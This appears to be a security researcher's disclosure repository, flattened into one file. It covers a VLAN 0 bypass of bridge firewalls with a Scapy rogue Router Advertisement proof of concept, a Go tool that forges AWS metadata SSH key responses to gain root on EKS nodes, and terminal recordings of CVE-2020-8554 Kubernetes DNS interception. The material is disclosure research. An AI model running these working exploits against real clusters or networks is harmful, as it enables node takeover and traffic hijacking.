`802.1Q` tag specifies only a priority (in `PCP` and `DEI` fields) and is referred to as a priority tag" (Wikipedia). 18 | 19 | When Linux receives a `802.1Q` packet, it looks up if a VLAN interface with the correct `VID` exists to handle this packet, else it'll be dropped. 20 | For example, a packet with `VID` == 42 would go to `eth0.42`. 21 | 22 | Now if `VID` == `0x000`, Linux ignores/removes the VLAN header and handles it on the untagged interface, ie `eth0`. 23 | To be more precise, on raw sockets (tcpdump) you will see the header (always use `tcpdump -e`). 24 | This means that any software that reads packets from raw sockets must take care of ignoring `VID` == `0x000` packets, 25 | and I discovered the hard way trying to make ucarp work, that on some Cisco UCS servers always add a priority tag. 26 | 27 | To sum up, using Scapy syntax, both 28 | ``` 29 | Ether()/IP(dst="192.168.2.1")/ICMP() 30 | Ether()/Dot1Q(vlan=0)/IP(dst="192.168.2.1")/ICMP() 31 | ``` 32 | will trigger the same response from 192.168.2.1, but for the first packet, `ethertype` is `0x0800` (IPv4), and for the second it's `0x8100` (802.1Q). 33 | Even if semantically they are the same, they are definitely different at L2, and that can be a problem. 34 | 35 | Now the good news is that Linux also supports `802.1AD`, and it will remove any number of VLAN 0 headers, so 36 | ``` 37 | Ether()/Dot1Q(vlan=0)/Dot1AD(vlan=0)/Dot1Q(vlan=0)/IP(dst="192.168.2.1")/ICMP() 38 | ``` 39 | Will also work 40 | 41 | ## Linux firewalling and VLAN 0 42 | 43 | Linux can do bridge firewalling using: 44 | 1. `XDP` 45 | 2. `tc` 46 | 3. `ebtables` 47 | 4. `nftables` `netdev` tables 48 | 5. `ip(6)tables` with `br_netfilter` module and `net.bridge.bridge-nf-call-ip(6)tables=1` 49 | 6. `nftables` `bridge` tables 50 | 51 | In all those cases, the rules apply to the "full" packet, i.e. with the VLAN 0 header, meaning that 52 | ``` 53 | ip6tables -A FORWARD -p ipv6-icmp -m icmp6 --icmpv6-type 134 -j DROP 54 | ``` 55 | will block IPv6 Router Advertisements without VLAN 0 only, as `ip6tables` will handle "switched" packets with `ethertype` == `0x86dd` only 56 | 57 | Enabling `bridge-nf-filter-vlan-tagged` allows to remove 1 level of VLAN headers, but we can just put 2 levels and be done. 58 | 59 | ## POC 60 | 61 | Launch Scapy 62 | ``` 63 | ra = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0) 64 | ra /= IPv6(dst='ff02::1') 65 | ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800) 66 | ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0')) 67 | ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800) 68 | sendp(ra) 69 | ``` 70 | (If it works, it'll misconfigure all devices in the same L2 for 30min, you have been warned) 71 | 72 | ## Tested Software 73 | 74 | - Openstack: Vulnerable when using Neutron ML2 with Linuxbridge driver (iptables bridge firewall + ebtables rules), [public bug report](https://bugs.launchpad.net/neutron/+bug/1884341) 75 | - LXD: Vulnerable when using bridged interfaces (security.*_filtering bypass), [fixed the next day](https://github.com/lxc/lxd/pull/7575) 76 | - Microsoft Hyper-V: [CVE-2020-17040](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17040) 77 | - VMware ESXi: no DHCP snooping / RA guard by default, so nothing to bypass ;) 78 | - Libvirt: nwfilter predefined rules take an allow list approach, so this is safe. 79 | 80 | I don't have any managed switch with RA guard to play with. 81 | 82 | ## Timeline 83 | 84 | * 2020-06-19: Initial report to OpenStack, based on code review only 85 | * 2020-06-22: Initial report to LXD 86 | * 2020-06-23: LXD fixed in master (allow ARP/IP/IP6 and drop everything else) 87 | * 2020-07-01: LXD 4.3 released 88 | * 2020-07-01: Initial report to Microsoft 89 | * 2020-07-03: After a good amount of back and forth, OpenStack team confirm the issue 90 | * 2020-08-17: Microsoft tell me that they plan to release a fix on November 10th 91 | * 2020-08-20: OpenStack issue is made public 92 | * 2020-08-20: Sent an [email](https://lore.kernel.org/netdev/CAOdf3grDKBkYmt54ZAzG1zZ6zz1JXeoHSv67_Fc9-nRiY662mQ@mail.gmail.com/) to netdev mailing list to hopefully get feedback on the issue 93 | * 2020-10-07: Microsoft attributes a pretty generous bounty for this report 94 | * 2020-11-10: Microsoft release fixes 95 | 96 | ## Acknowledgments 97 | 98 | - Thanks to OpenStack team for their patience testing my theory 99 | - Thanks to LXD for their speedy fix 100 | - Thanks to Microsoft for their generous bounty 101 | -------------------------------------------------------------------------------- /K8S_MITM_LoadBalancer_ExternalIPs/2-prechecks.cast: -------------------------------------------------------------------------------- 1 | {"version": 2, "width": 118, "height": 55, "timestamp": 1578172396, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}} 2 | [0.560469, "o", "$ "] 3 | [4.343757, "o", "kubectl get nodes"] 4 | [4.735118, "o", "\r\n"] 5 | [5.081462, "o", "NAME STATUS ROLES AGE VERSION"] 6 | [5.081824, "o", "\r\ngke-kubeproxy-tests-default-pool-05cd0c3c-7thw Ready 16m v1.15.4-gke.22\r\ngke-kubeproxy-tests-default-pool-05cd0c3c-css4 Ready 16m v1.15.4-gke.22\r\ngke-kubeproxy-tests-default-pool-05cd0c3c-gs6l Ready 16m v1.15.4-gke.22\r\n"] 7 | [5.102637, "o", "$ "] 8 | [9.400383, "o", "gcloud compute ssh gke-kubeproxy-tests-default-pool-05cd0c3c-7thw -- cat /etc/resolv.conf 2>/dev/null | grep nameserver"] 9 | [10.509477, "o", "\r\n"] 10 | [20.654543, "o", "\u001b[01;31m\u001b[Knameserver\u001b[m\u001b[K 169.254.169.254\r\n"] 11 | [20.758007, "o", "$ "] 12 | [24.583298, "o", "# We see that the GKE nodes use 169.254.169.254 as DNS server, this is what we will intercept later"] 13 | [25.782003, "o", "\r\n"] 14 | [25.799445, "o", "$ "] 15 | [31.581664, "o", "# Deploy our 2 tests pods"] 16 | [32.696417, "o", "\r\n"] 17 | [32.718093, "o", "$ "] 18 | [41.318524, "o", "kubectl apply -f - <<'EOF'\r\n"] 19 | [41.319114, "o", "> apiVersion: v1\r\n> "] 20 | [41.319478, "o", "kind: Pod\r\n> metadata:\r\n"] 21 | [41.320184, "o", "> name: dig-pod\r\n"] 22 | [41.320455, "o", "> spec:\r\n> "] 23 | [41.320541, "o", " containers:\r\n"] 24 | [41.320742, "o", "> "] 25 | [41.321023, "o", " - name: dig\r\n> "] 26 | [41.321553, "o", " image: sequenceiq/alpine-dig:latest\r\n"] 27 | [41.321793, "o", "> "] 28 | [41.322399, "o", " command: [ \"/bin/sleep\", \"3600\" ]\r\n"] 29 | [41.322763, "o", "> ---\r\n"] 30 | [41.322871, "o", "> "] 31 | [41.323237, "o", "apiVersion: v1\r\n"] 32 | [41.323331, "o", "> "] 33 | [41.323624, "o", "kind: Pod\r\n"] 34 | [41.323714, "o", "> "] 35 | [41.324027, "o", "metadata:\r\n"] 36 | [41.324124, "o", "> "] 37 | [41.324401, "o", " name: dig-node\r\n"] 38 | [41.324655, "o", "> spec:\r\n"] 39 | [41.324928, "o", "> "] 40 | [41.32519, "o", " hostNetwork: true\r\n"] 41 | [41.325694, "o", "> "] 42 | [41.326075, "o", " containers:\r\n> "] 43 | [41.326326, "o", " - name: dig\r\n"] 44 | [41.32672, "o", "> "] 45 | [41.327069, "o", " image: sequenceiq/alpine-dig:latest\r\n"] 46 | [41.327442, "o", "> "] 47 | [41.327826, "o", " command: [ \"/bin/sleep\", \"3600\" ]\r\n"] 48 | [41.328157, "o", "> "] 49 | [41.328412, "o", "EOF"] 50 | [41.328676, "o", "\r\n"] 51 | [42.191858, "o", "pod/dig-pod created\r\n"] 52 | [42.369446, "o", "pod/dig-node created\r\n"] 53 | [42.394425, "o", "$ "] 54 | [44.933541, "o", "\r\n"] 55 | [44.950158, "o", "$ "] 56 | [48.513473, "o", "# Check the normal results for \"dig kubernetes.io\""] 57 | [49.299613, "o", "\r\n"] 58 | [49.315544, "o", "$ "] 59 | [49.885713, "o", "\r\n"] 60 | [49.901122, "o", "$ "] 61 | [54.167493, "o", "kubectl exec dig-pod -- dig kubernetes.io"] 62 | [55.264824, "o", "\r\n"] 63 | [56.144141, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20095\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 512\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ANSWER SECTION:\r\nkubernetes.io.\t\t299\tIN\tA\t45.54.44.102\r\n\r\n;; Query time: 4 msec\r\n;; SERVER: 10.23.240.10#53(10.23.240.10)\r\n;; WHEN: Sat Jan 04 21:14:13 UTC 2020\r\n;; MSG SIZE rcvd: 58\r\n\r\n"] 64 | [56.200438, "o", "$ "] 65 | [58.531128, "o", "\r\n"] 66 | [58.546352, "o", "$ "] 67 | [61.603045, "o", "kubectl exec dig-node -- dig kubernetes.io"] 68 | [62.268094, "o", "\r\n"] 69 | [63.216817, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42573\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 512\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ANSWER SECTION:\r\nkubernetes.io.\t\t299\tIN\tA\t45.54.44.102\r\n\r\n;; Query time: 3 msec\r\n;; SERVER: 169.254.169.254#53(169.254.169.254)\r\n;; WHEN: Sat Jan 04 21:14:20 UTC 2020\r\n;; MSG SIZE rcvd: 58\r\n\r\n"] 70 | [63.254811, "o", "$ "] 71 | [63.889576, "o", "\r\n"] 72 | [63.905228, "o", "$ "] 73 | [64.050977, "o", "\r\n"] 74 | [64.066374, "o", "$ "] 75 | [103.196876, "o", "kubectl exec dig-pod -- dig kubernetes.io @169.254.169.254"] 76 | [103.839082, "o", "\r\n"] 77 | [104.851211, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io @169.254.169.254\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33409\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 512\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ANSWER SECTION:\r\nkubernetes.io.\t\t258\tIN\tA\t45.54.44.102\r\n\r\n;; Query time: 1 msec\r\n;; SERVER: 169.254.169.254#53(169.254.169.254)\r\n;; WHEN: Sat Jan 04 21:15:01 UTC 2020\r\n;; MSG SIZE rcvd: 58\r\n\r\n"] 78 | [104.873841, "o", "$ "] 79 | [109.124757, "o", "kubectl exec dig-node -- dig kubernetes.io @169.254.169.254"] 80 | [110.264736, "o", "\r\n"] 81 | [111.133953, "o", "\r\n; <<>> DiG 9.10.2 <<>> kubernetes.io @169.254.169.254\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32082\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 512\r\n;; QUESTION SECTION:\r\n;kubernetes.io.\t\t\tIN\tA\r\n\r\n;; ANSWER SECTION:\r\nkubernetes.io.\t\t251\tIN\tA\t45.54.44.102\r\n\r\n;; Query time: 1 msec\r\n;; SERVER: 169.254.169.254#53(169.254.169.254)\r\n;; WHEN: Sat Jan 04 21:15:08 UTC 2020\r\n;; MSG SIZE rcvd: 58\r\n\r\n"] 82 | [111.16403, "o", "$ "] 83 | [117.200456, "o", "exit\r\n"] 84 | -------------------------------------------------------------------------------- /Metadata_MITM_root_EKS_GKE/EKS/mitmmeta.go: -------------------------------------------------------------------------------- 1 | /* 2 | AWS metadata MITM root privilege escalation 3 | Etienne Champetier (@champtar) 4 | */ 5 | 6 | package main 7 | 8 | import ( 9 | "bytes" 10 | "flag" 11 | "fmt" 12 | "io/ioutil" 13 | "log" 14 | "net" 15 | "syscall" 16 | "time" 17 | 18 | "github.com/google/gopacket" 19 | "github.com/google/gopacket/layers" 20 | "github.com/google/gopacket/pcap" 21 | ) 22 | 23 | // TODO: make all the preparative work in Go instead of bash 24 | var ( 25 | intf = flag.String("interface", "eth0", "the interface to listen on") 26 | metaIP = flag.String("meta-ip", "169.254.169.254", "the IP of the metadata server") 27 | signer = flag.String("signer-cert", "signer.pem", "the signer cert + intermediate in PEM format") 28 | domain = flag.String("signer-domain", "champetier.net", "the domain that replace amazonaws.com") 29 | ocspdir = flag.String("ocsp-dir", "ocsp", "directory contaning ocsp responses") 30 | sshkeys = flag.String("sshkeys", "sshkeys", "the sshkeys response, already signed") 31 | ) 32 | 33 | func main() { 34 | log.SetFlags(log.Lshortfile) 35 | flag.Parse() 36 | defer log.Println("Bye") 37 | 38 | if *domain == "" { 39 | log.Fatal("--domain is empty") 40 | } 41 | 42 | httpRespFmt := "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s" 43 | 44 | signerData := readAll(*signer) 45 | sshkeysData := readAll(*sshkeys) 46 | 47 | responses := map[string]gopacket.Payload{ 48 | "GET /latest/meta-data/services/domain/ HTTP/1.1": gopacket.Payload( 49 | []byte(fmt.Sprintf(httpRespFmt, len(*domain), *domain))), 50 | "GET /latest/meta-data/managed-ssh-keys/signer-cert/ HTTP/1.1": gopacket.Payload( 51 | []byte(fmt.Sprintf(httpRespFmt, len(signerData), signerData))), 52 | "HEAD /latest/meta-data/managed-ssh-keys/active-keys/root/ HTTP/1.1": gopacket.Payload( 53 | []byte(fmt.Sprintf(httpRespFmt, len(sshkeysData), ""))), 54 | "GET /latest/meta-data/managed-ssh-keys/active-keys/root/ HTTP/1.1": gopacket.Payload( 55 | []byte(fmt.Sprintf(httpRespFmt, len(sshkeysData), sshkeysData))), 56 | } 57 | 58 | ocspReqFmt := "GET /latest/meta-data/managed-ssh-keys/signer-ocsp/%s HTTP/1.1" 59 | files, err := ioutil.ReadDir(*ocspdir) 60 | if err != nil { 61 | log.Fatal(err) 62 | } 63 | 64 | ocspList := "" 65 | for _, file := range files { 66 | ocspList += file.Name() 67 | ocspList += "\n" 68 | ocspData := readAll(*ocspdir + "/" + file.Name()) 69 | 70 | responses[fmt.Sprintf(ocspReqFmt, file.Name())] = gopacket.Payload( 71 | []byte(fmt.Sprintf(httpRespFmt, len(ocspData), ocspData))) 72 | } 73 | responses[fmt.Sprintf(ocspReqFmt, "")] = gopacket.Payload( 74 | []byte(fmt.Sprintf(httpRespFmt, len(ocspList), ocspList))) 75 | 76 | pcapInactive, err := pcap.NewInactiveHandle(*intf) 77 | if err != nil { 78 | log.Fatal(err) 79 | } 80 | defer pcapInactive.CleanUp() 81 | if err := pcapInactive.SetImmediateMode(true); err != nil { 82 | log.Fatal(err) 83 | } 84 | if err := pcapInactive.SetSnapLen(1500); err != nil { 85 | log.Fatal(err) 86 | } 87 | if err := pcapInactive.SetPromisc(false); err != nil { 88 | log.Fatal(err) 89 | } 90 | pcapRX, err := pcapInactive.Activate() 91 | if err != nil { 92 | log.Fatal(err) 93 | } 94 | if err := pcapRX.SetDirection(pcap.DirectionOut); err != nil { 95 | log.Fatal(err) 96 | } 97 | // "greater 100" filter out empty tcp packets 98 | if err := pcapRX.SetBPFFilter("dst " + *metaIP + " and tcp dst port 80 and greater 100"); err != nil { 99 | log.Fatal(err) 100 | } 101 | 102 | // open RAW L3 socket to send responses. 103 | l3sock, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW) 104 | if err != nil { 105 | log.Fatal(err) 106 | } 107 | if err := syscall.SetsockoptInt(l3sock, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1); err != nil { 108 | log.Fatal(err) 109 | } 110 | 111 | var reqETH layers.Ethernet 112 | var reqIP layers.IPv4 113 | var reqTCP layers.TCP 114 | var reqPayload gopacket.Payload 115 | 116 | respBuf := gopacket.NewSerializeBuffer() 117 | 118 | parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &reqETH, &reqIP, &reqTCP, &reqPayload) 119 | decoded := []gopacket.LayerType{} 120 | 121 | log.Println("Waiting for data ...") 122 | for { 123 | packetData, ci, err := pcapRX.ZeroCopyReadPacketData() 124 | t0 := ci.Timestamp 125 | t1 := time.Now() 126 | if err != nil { 127 | log.Println("Error getting packet:", err) 128 | continue 129 | } 130 | if err := parser.DecodeLayers(packetData, &decoded); err != nil { 131 | log.Println("Error decoding layers:", err) 132 | continue 133 | } 134 | 135 | req := string(reqPayload[:bytes.Index(reqPayload, []byte("\r\n"))]) 136 | respPayload, ok := responses[req] 137 | if !ok { 138 | log.Println("Request not handled:", req) 139 | continue 140 | } 141 | 142 | respETH := layers.Ethernet{ 143 | DstMAC: net.HardwareAddr{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 144 | SrcMAC: net.HardwareAddr{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 145 | EthernetType: layers.EthernetTypeIPv4, 146 | } 147 | respIP := layers.IPv4{ 148 | Version: 4, 149 | TTL: 64, 150 | SrcIP: reqIP.DstIP, 151 | DstIP: reqIP.SrcIP, 152 | Protocol: layers.IPProtocolTCP, 153 | } 154 | respTCP := layers.TCP{ 155 | SrcPort: reqTCP.DstPort, 156 | DstPort: reqTCP.SrcPort, 157 | Seq: reqTCP.Ack, 158 | Ack: reqTCP.Seq + uint32(len(reqPayload.Payload())), 159 | Window: reqTCP.Window, 160 | ACK: true, 161 | PSH: true, 162 | } 163 | respTCP.SetNetworkLayerForChecksum(&respIP) 164 | opts := gopacket.SerializeOptions{ 165 | FixLengths: true, 166 | ComputeChecksums: true, 167 | } 168 | err = gopacket.SerializeLayers( 169 | respBuf, 170 | opts, 171 | &respETH, 172 | &respIP, 173 | &respTCP, 174 | respPayload) 175 | if err != nil { 176 | log.Println("Error while serializing", err) 177 | continue 178 | } 179 | 180 | respBytes := respBuf.Bytes() 181 | addr := syscall.SockaddrInet4{ 182 | Port: 0, 183 | Addr: [4]byte{reqIP.SrcIP[0], reqIP.SrcIP[1], reqIP.SrcIP[2], reqIP.SrcIP[3]}, 184 | } 185 | if err := syscall.Sendto(l3sock, respBytes[14:], 0, &addr); err != nil { 186 | log.Println("Error Sendto:", err) 187 | } 188 | t2 := time.Now() 189 | log.Print("Request: '", req, "' time: ", t1.Sub(t0), " ", t2.Sub(t1), " total: ", t2.Sub(t0)) 190 | } 191 | } 192 | 193 | func readAll(filename string) []byte { 194 | data, err := ioutil.ReadFile(filename) 195 | if err != nil { 196 | log.Fatal(err) 197 | } 198 | return data 199 | } 200 | -------------------------------------------------------------------------------- /K8S_MITM_LoadBalancer_ExternalIPs/4-mitm-endpoints.cast: -------------------------------------------------------------------------------- 1 | {"version": 2, "width": 118, "height": 55, "timestamp": 1578178581, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}} 2 | [0.588527, "o", "$ "] 3 | [5.019423, "o", "# Another variant sending the traffic externaly"] 4 | [5.544274, "o", "\r\n"] 5 | [5.561037, "o", "$ "] 6 | [13.653341, "o", "kubectl apply -f - <<'EOF'\r\n"] 7 | [13.653849, "o", "> "] 8 | [13.654196, "o", "apiVersion: v1\r\n> "] 9 | [13.654843, "o", "kind: Namespace\r\n> metadata:\r\n> "] 10 | [13.655352, "o", " name: kubeproxy-mitm\r\n"] 11 | [13.655731, "o", "> ---\r\n"] 12 | [13.656237, "o", "> apiVersion: v1\r\n> "] 13 | [13.656721, "o", "kind: Service\r\n> "] 14 | [13.656869, "o", "metadata:\r\n"] 15 | [13.657417, "o", "> "] 16 | [13.657829, "o", " name: mitm-external-lb-dns\r\n"] 17 | [13.658176, "o", "> "] 18 | [13.658519, "o", " namespace: kubeproxy-mitm\r\n"] 19 | [13.658848, "o", "> spec:\r\n"] 20 | [13.659238, "o", "> ports:\r\n"] 21 | [13.65938, "o", "> "] 22 | [13.659682, "o", " - name: dnsu\r\n"] 23 | [13.66001, "o", "> port: 53\r\n"] 24 | [13.660328, "o", "> "] 25 | [13.66071, "o", " targetPort: 53\r\n> "] 26 | [13.661083, "o", " protocol: UDP\r\n"] 27 | [13.661503, "o", "> type: LoadBalancer\r\n"] 28 | [13.662355, "o", "> loadBalancerIP: 169.254.169.254\r\n"] 29 | [13.662896, "o", "> ---\r\n> "] 30 | [13.663255, "o", "apiVersion: v1\r\n"] 31 | [13.663637, "o", "> kind: Endpoints\r\n"] 32 | [13.665123, "o", "> metadata:\r\n> name: mitm-external-lb-dns\r\n> "] 33 | [13.665759, "o", " namespace: kubeproxy-mitm\r\n> subsets:\r\n"] 34 | [13.665879, "o", "> "] 35 | [13.666645, "o", "- addresses:\r\n> - ip: 1.1.1.1\r\n"] 36 | [13.666933, "o", "> "] 37 | [13.667107, "o", " ports:\r\n"] 38 | [13.667396, "o", "> "] 39 | [13.667491, "o", " - name: dnsu\r\n"] 40 | [13.667792, "o", "> "] 41 | [13.668026, "o", " port: 53"] 42 | [13.668254, "o", "\r\n"] 43 | [13.668386, "o", "> "] 44 | [13.668713, "o", " protocol: UDP\r\n"] 45 | [13.668921, "o", "> "] 46 | [13.669022, "o", "EOF\r\n"] 47 | [16.535538, "o", "namespace/kubeproxy-mitm created\r\n"] 48 | [16.868911, "o", "service/mitm-external-lb-dns created\r\n"] 49 | [17.146728, "o", "endpoints/mitm-external-lb-dns created\r\n"] 50 | [17.174615, "o", "$ "] 51 | [18.694726, "o", "\r\n"] 52 | [18.711891, "o", "$ "] 53 | [24.218174, "o", "kubectl proxy --port=8080 &\r\n"] 54 | [24.21955, "o", "[1] 291303\r\n"] 55 | [24.240892, "o", "$ sleep 3\r\n"] 56 | [24.331796, "o", "Starting to serve on 127.0.0.1:8080\r\n"] 57 | [27.26281, "o", "$ "] 58 | [27.266, "o", "curl -k -v -XPATCH -H \"Accept: application/json\" -H \"Content-Type: application/merge-patch+json\" 'http://127.0.0.1:8080/api/v1/namespaces/kubeproxy-mitm/services/mitm-external-lb-dns/status' -d '{\"status\":{\"loadBalancer\":{\"ingress\":[{\"ip\":\"169.254.169.254\"}]}}}'\r\n"] 59 | [27.30892, "o", "* Trying 127.0.0.1:8080...\r\n* TCP_NODELAY set\r\n"] 60 | [27.309561, "o", "* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)\r\n> PATCH /api/v1/namespaces/kubeproxy-mitm/services/mitm-external-lb-dns/status HTTP/1.1\r\r\n> Host: 127.0.0.1:8080\r\r\n> User-Agent: curl/7.66.0\r\r\n> Accept: application/json\r\r\n> "] 61 | [27.309993, "o", "Content-Type: application/merge-patch+json\r"] 62 | [27.310552, "o", "\r\n> Content-Length: 66\r\r\n> \r\r\n* upload completely sent off: 66 out of 66 bytes\r\n"] 63 | [27.60605, "o", "* Mark bundle as not supporting multiuse\r\n< HTTP/1.1 200 OK\r\r\n< Audit-Id: 603007e6-0878-47e5-903d-23d42f953d3f\r\r\n< Content-Length: 1311\r\r\n< Content-Type: application/json\r\r\n"] 64 | [27.606447, "o", "< Date: Sat, 04 Jan 2020 22:56:49 GMT\r\r\n< \r\r\n{\r\n \"kind\": \"Service\",\r\n \"apiVersion\": \"v1\",\r\n \"metadata\": {\r\n \"name\": \"mitm-external-lb-dns\",\r\n \"namespace\": \"kubeproxy-mitm\",\r\n \"selfLink\": \"/api/v1/namespaces/kubeproxy-mitm/services/mitm-external-lb-dns/status\",\r\n \"uid\": \"cd45832b-4329-4448-ab17-0e5617e46c65\",\r\n \"resourceVersion\": \"26991\",\r\n \"creationTimestamp\": \"2020-01-04T22:56:38Z\",\r\n \"annotations\": {\r\n \"kubectl.kubernetes.io/last-applied-configuration\": \"{\\\"apiVersion\\\":\\\"v1\\\",\\\"kind\\\":\\\"Service\\\",\\\"metadata\\\":{\\\"annotations\\\":{},\\\"name\\\":\\\"mitm-external-lb-dns\\\",\\\"namespace\\\":\\\"kubeproxy-mitm\\\"},\\\"spec\\\":{\\\"loadBalancerIP\\\":\\\"169.254.169.254\\\",\\\"ports\\\":[{\\\"name\\\":\\\"dnsu\\\",\\\"port\\\":53,\\\"protocol\\\":\\\"UDP\\\",\\\"targetPort\\\":53}],\\\"type\\\":\\\"LoadBalancer\\\"}}\\n\"\r\n },\r\n \"finalizers\": [\r\n \"service.kubernetes.io/load-balancer-cleanup\"\r\n ]\r\n },\r\n \"spec\": {\r\n \"ports\": [\r\n {\r\n \"name\": \"dnsu\",\r\n \"protocol\": \"UDP\",\r\n \"port\": 53,\r\n \"targetPor"] 65 | [27.606575, "o", "t\": 53,\r\n \"nodePort\": 32736\r\n }\r\n ],\r\n \"clusterIP\": \"10.23.245.184\",\r\n \"type\": \"LoadBalancer\",\r\n \"sessionAffinity\": \"None\",\r\n \"loadBalancerIP\": \"169.254.169.254\",\r\n \"externalTrafficPolicy\": \"Cluster\"\r\n },\r\n \"status\": {\r\n \"loadBalancer\": {\r\n \"ingress\": [\r\n {\r\n \"ip\": \"169.254.169.254\"\r\n }\r\n ]\r\n }\r\n }\r\n* Connection #0 to host 127.0.0.1 left intact\r\n}"] 66 | [27.625207, "o", "$ pkill kubectl\r\n"] 67 | [27.667831, "o", "[1]+ Complété kubectl proxy --port=8080\r\n"] 68 | [27.668247, "o", "$ "] 69 | [38.463495, "o", "\r\n"] 70 | [38.474356, "o", "$ "] 71 | [39.279143, "o", "kubectl get -n kubeproxy-mitm service/mitm-external-lb-dns"] 72 | [39.647476, "o", "\r\n"] 73 | [39.963021, "o", "NAME TYPE"] 74 | [39.963115, "o", " CLUSTER-IP EXTERNAL-IP PORT(S) AGE\r\nmitm-external-lb-dns LoadBalancer 10.23.245.184 169.254.169.254 53:32736/UDP 23s\r\n"] 75 | [39.974855, "o", "$ "] 76 | [43.000486, "o", "\r\n"] 77 | [43.036499, "o", "$ "] 78 | [53.518157, "o", "kubectl exec dig-pod -- dig CH TXT version.server"] 79 | [54.136689, "o", "\r\n"] 80 | [55.234932, "o", "\r\n; <<>> DiG 9.10.2 <<>> CH TXT version.server\r\n;; global options: +cmd\r\n"] 81 | [55.23552, "o", ";; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14216\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 1452\r\n;; QUESTION SECTION:\r\n;version.server.\t\t\tCH\tTXT\r\n\r\n;; ANSWER SECTION:\r\nversion.server.\t\t0\tCH\tTXT\t\"cloudflare-resolver-2019.11.0\"\r\n\r\n;; Query time: 12 msec\r\n;; SERVER: 10.23.240.10#53(10.23.240.10)\r\n;; WHEN: Sat Jan 04 22:57:16 UTC 2020\r\n;; MSG SIZE rcvd: 85\r\n\r\n"] 82 | [55.289271, "o", "$ "] 83 | [56.171941, "o", "\r\n"] 84 | [56.18879, "o", "$ "] 85 | [56.475113, "o", "\r\n"] 86 | [56.484451, "o", "$ "] 87 | [66.455492, "o", "kubectl exec dig-node -- dig CH TXT version.server"] 88 | [67.031597, "o", "\r\n"] 89 | [109.783741, "o", "\r\n; <<>> DiG 9.10.2 <<>> CH TXT version.server\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32155\r\n;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 1452\r\n;; QUESTION SECTION:\r\n;version.server.\t\t\tCH\tTXT\r\n\r\n;; ANSWER SECTION:\r\nversion.server.\t\t0\tCH\tTXT\t\"cloudflare-resolver-2019.11.0\"\r\n\r\n;; Query time: 11 msec\r\n;; SERVER: 169.254.169.254#53(169.254.169.254)\r\n;; WHEN: Sat Jan 04 22:58:11 UTC 2020\r\n;; MSG SIZE rcvd: 85\r\n\r\n"] 90 | [109.842347, "o", "$ "] 91 | [118.500426, "o", "exit\r\n"] 92 | -------------------------------------------------------------------------------- /K8S_MITM_LoadBalancer_ExternalIPs/README.md: -------------------------------------------------------------------------------- 1 | # Kubernetes man in the middle using LoadBalancer or ExternalIPs (CVE-2020-8554) 2 | 3 | It's 2 weeks before the end of 2019, we are deploying a Kubernetes cluster at a client with MetalLB as LoadBalancer, 4 | and for unknown reasons at the time, MetalLB VIP randomly stops working (in the end it was too small CPU limits but that's not important). 5 | As we need to have the platform in production before the end of year, 6 | we agree with the client to put some workaround in place to temporarily replace MetalLB. 7 | 8 | Instead of modifying our deployments to add `hostPort`, I got a clever idea, 9 | why not create a new `Service` with as `ExternalIPs` the node IPs, 10 | it would allow to get the traffic from node_x_IP:443 to the right pods and allow us 11 | to debug MetalLB on the side. 12 | 13 | We immediately applied the following manifest: 14 | ``` 15 | apiVersion: v1 16 | kind: Service 17 | metadata: 18 | name: myapp 19 | namespace: anevia 20 | spec: 21 | ports: 22 | - name: http 23 | port: 80 24 | protocol: TCP 25 | targetPort: 80 26 | - name: https 27 | port: 443 28 | protocol: TCP 29 | targetPort: 443 30 | 